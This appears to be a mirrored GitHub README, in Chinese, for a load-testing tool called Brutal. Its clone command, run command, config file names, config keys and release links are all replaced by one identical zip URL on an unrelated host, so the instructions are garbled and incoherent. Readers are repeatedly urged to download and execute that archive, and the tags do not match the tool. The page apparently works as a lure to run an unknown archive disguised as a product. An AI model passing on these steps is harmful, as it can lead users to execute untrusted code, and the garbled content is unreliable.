Salmajibeh/brutal
GitHub: Salmajibeh/brutal
一款轻量级 HTTP 负载测试工具,通过可定制的负载配置帮助开发者识别性能瓶颈并优化 Web 应用在高并发场景下的表现。
Stars: 0 | Forks: 1
# Brutal Load Tester:高效性能测试变得简单 🚀

## 目录
- [概述](#overview)
- [功能](#features)
- [安装](#installation)
- [使用](#usage)
- [配置](#configuration)
- [运行测试](#running-tests)
- [查看结果](#viewing-results)
- [贡献](#contributing)
- [许可证](#license)
- [版本发布](#releases)
## 概述
Brutal Load Tester 是一个简单但强大的工具,旨在模拟 Web 应用程序上的 heavy loads(重负载)。该工具可帮助您识别性能瓶颈,确保您的应用程序能够处理 high traffic(高流量)。Brutal 专注于可用性和效率,使开发人员能够轻松测试和优化其应用程序。
## 功能
- **Easy Setup(轻松设置)**:通过最少的配置快速开始。
- **Customizable Load Profiles(可定制的负载配置)**:定制负载以模拟 real-world scenarios(真实世界场景)。
- **Detailed Reporting(详细报告)**:深入了解 response times(响应时间)、throughput(吞吐量)和 error rates(错误率)。
- **Concurrent User Simulation(并发用户模拟)**:测试您的应用程序在 simultaneous user access(同时用户访问)下的性能。
- **Support for Multiple Protocols(支持多种协议)**:测试各种类型的应用程序,包括 HTTP、WebSocket 等。
## 安装
要安装 Brutal Load Tester,请按照以下步骤操作:
1. **Clone the Repository(克隆仓库)**:
git clone https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip
2. **Navigate to the Directory(进入目录)**:
cd brutal
3. **Install Dependencies(安装依赖)**:
确保您已安装所需的 dependencies(依赖项)。您可以根据项目要求使用 `npm` 或 `pip` 等包管理器。
## 使用
要使用 Brutal Load Tester,您需要根据测试需求对其进行配置。以下是如何进行设置的基本示例:
1. **Create a Configuration File(创建配置文件)**:
创建一个 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip` 文件,包含您想要的设置。以下是一个示例配置:
{
"url": "https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip",
"load": {
"users": 100,
"duration": 60
}
}
2. **Run the Tester(运行测试器)**:
执行以下命令以启动负载测试:
python https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip
## 配置
Brutal 允许您在配置文件中定制各种参数:
- **url**:负载测试的目标 URL。
- **https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip**:要模拟的并发用户数。
- **https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip**:测试持续时间(以秒为单位)。
- **https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip**:逐渐增加用户数的时间(以秒为单位)。
示例配置:
```
{
"url": "https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip",
"load": {
"users": 200,
"duration": 120,
"rampUp": 30
}
}
```
## 运行测试
配置设置完成后,您可以运行测试。使用以下命令:
```
python https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip
```
在测试期间监视终端 output(输出)以获取实时统计数据。您将看到 response time(响应时间)、number of requests(请求数)以及遇到的任何 errors(错误)等指标。
## 查看结果
测试完成后,Brutal 将生成一份总结结果的报告。该报告包括:
- **Response Times(响应时间)**:平均、最小和最大响应时间。
- **Throughput(吞吐量)**:每秒的请求数。
- **Error Rates(错误率)**:失败请求的百分比。
您还可以在 `logs` 目录中找到详细的 logs(日志)以供进一步分析。
## 许可证
Brutal Load Tester 根据 MIT 许可证授权。有关详细信息,请参阅 [LICENSE](LICENSE) 文件。
## 版本发布
有关最新的版本和更新,请访问我们的 [Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip) 部分。您可以下载最新版本并执行以满足您的负载测试需求。
### 下载链接
您可以在 [这里](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip) 找到最新版本的 Brutal Load Tester。

通过使用 Brutal Load Tester,您可以确保您的应用程序为 real-world traffic(真实世界的流量)需求做好准备。
如有任何问题或疑问,请查看 [Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9d695422f9171139.zip) 部分或在仓库中开启一个 issue。
祝测试愉快!
标签:ASM汇编, EVTX分析, EVTX分析, EVTX分析, Homebrew安装, WebSocket, Web应用测试, 依赖分析, 压力测试, 吞吐量, 威胁情报, 实时分析, 并发模拟, 开发者工具, 性能测试, 报错率, 文档结构分析, 流量生成, 测试工具, 瓶颈检测, 站点优化, 负载测试, 逆向工具, 高可用性